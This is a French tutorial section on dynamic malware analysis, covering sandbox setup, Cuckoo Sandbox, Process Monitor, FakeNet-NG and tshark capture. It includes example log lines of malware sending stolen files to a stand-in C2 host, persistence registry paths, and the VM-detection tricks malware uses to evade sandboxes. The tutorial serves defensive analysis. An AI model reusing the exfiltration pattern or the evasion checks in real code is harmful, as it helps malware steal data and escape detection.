4. Analyse dynamique : sandbox et comportement

L’analyse dynamique consiste à exécuter un malware dans un environnement contrôlé et isolé pour observer son comportement réel : fichiers créés, connexions réseau établies, clés de registre modifiées, processus lancés. Cette approche révèle ce que l’analyse statique ne peut pas toujours déduire, notamment les charges utiles déchiffrées à l’exécution.

Environnement de sandbox sécurisé

Précautions avant d'exécuter un malware :
  ✓ Machine virtuelle dédiée (jamais la machine hôte)
  ✓ Snapshot avant exécution (restauration rapide)
  ✓ Réseau isolé (host-only ou réseau simulé)
  ✓ Désactiver les Guest Additions (anti-VM bypass)
  ✓ Désactiver Windows Defender et UAC sur la VM
  ✓ Simuler un vrai environnement (créer de faux documents, contacts)

Analyse avec Cuckoo Sandbox

# Installation Cuckoo (Ubuntu/Debian)
pip install cuckoo
cuckoo init
cuckoo community  # Télécharger les signatures

# Soumettre un échantillon
cuckoo submit malware.exe
cuckoo submit --timeout 120 malware.exe  # 2 minutes d'analyse

# Interface web
cuckoo web --host 0.0.0.0 --port 8080
# Accès : http://localhost:8080
# Rapport JSON : activité réseau, fichiers, registre, screenshots

Surveillance manuelle avec Process Monitor

ProcMon (Windows) — filtres recommandés :
  Filtrer par Process Name → malware.exe

Colonnes importantes :
  Path       → Fichiers lus/écrits/supprimés
  Operation  → RegSetValue, CreateFile, WriteFile, ConnectTCP
  Result     → SUCCESS, ACCESS DENIED

Patterns suspects à chercher :
  → HKCU\Software\Microsoft\Windows\CurrentVersion\Run  (persistance)
  → C:\Users\*\AppData\Roaming\                         (installation)
  → C:\Windows\System32\                                 (contamination système)
  → %TEMP%\                                              (dépose d'autres fichiers)

Analyse réseau avec FakeNet-NG

# FakeNet-NG simule tous les services réseau (DNS, HTTP, SMTP...)
# → Le malware "croit" communiquer avec son C2

pip install fakenet

# Lancer FakeNet (dans la VM sandbox)
fakenet

# Logs disponibles :
# GET http://c2.malware.ru/update?id=AABBCCDD
# POST http://c2.malware.ru/upload data=base64(fichiers_volés)
# DNS query: c2.malware.ru → 127.0.0.1 (redirigé par FakeNet)

Wireshark dans la sandbox

# Capturer tout le trafic réseau pendant l'exécution
sudo tshark -i eth0 -w malware_traffic.pcap &
./malware.exe
kill %1   # Arrêter la capture

# Analyser les flux
tshark -r malware_traffic.pcap -Y "tcp or udp" -T fields \
       -e ip.dst -e tcp.dstport -e udp.dstport | sort | uniq

# IoC réseau extraits
tshark -r malware_traffic.pcap -Y http.request -T fields \
       -e http.host -e http.request.uri | sort -u

Anti-VM et techniques d’évasion

Détection de VM par le malware :
  - VMware : présence de VMwareService.exe, clé registre VMware
  - VirtualBox : VBOX*.sys, clé HKLM\SOFTWARE\Oracle\VirtualBox Guest Additions
  - Sandboxie : SbieSvc.exe, SbieDll.dll
  - Timing checks : RDTSC (instruction CPU très rapide sur baremetal)
  - Nombre de processus < 20 → probablement une sandbox
  - Absence de documents récents, d'historique navigateur

Contournements :
  → Installer de vraies applications dans la VM
  → Patcher le CPUID (VMware Workstation → advanced settings)
  → Laisser la VM active plusieurs jours avant l'analyse
  → Utiliser des services sandbox online : any.run, hybrid-analysis.com
Points clés :

  • Toujours analyser dans une VM snapshotée avec réseau isolé
  • Cuckoo Sandbox automatise l'analyse comportementale et génère des rapports détaillés
  • FakeNet-NG simule les services réseau pour capturer les communications C2
  • Les malwares modernes détectent les environnements virtuels — soigner l'environnement d'analyse
SEE ALL Add a note
YOU
Add your Comment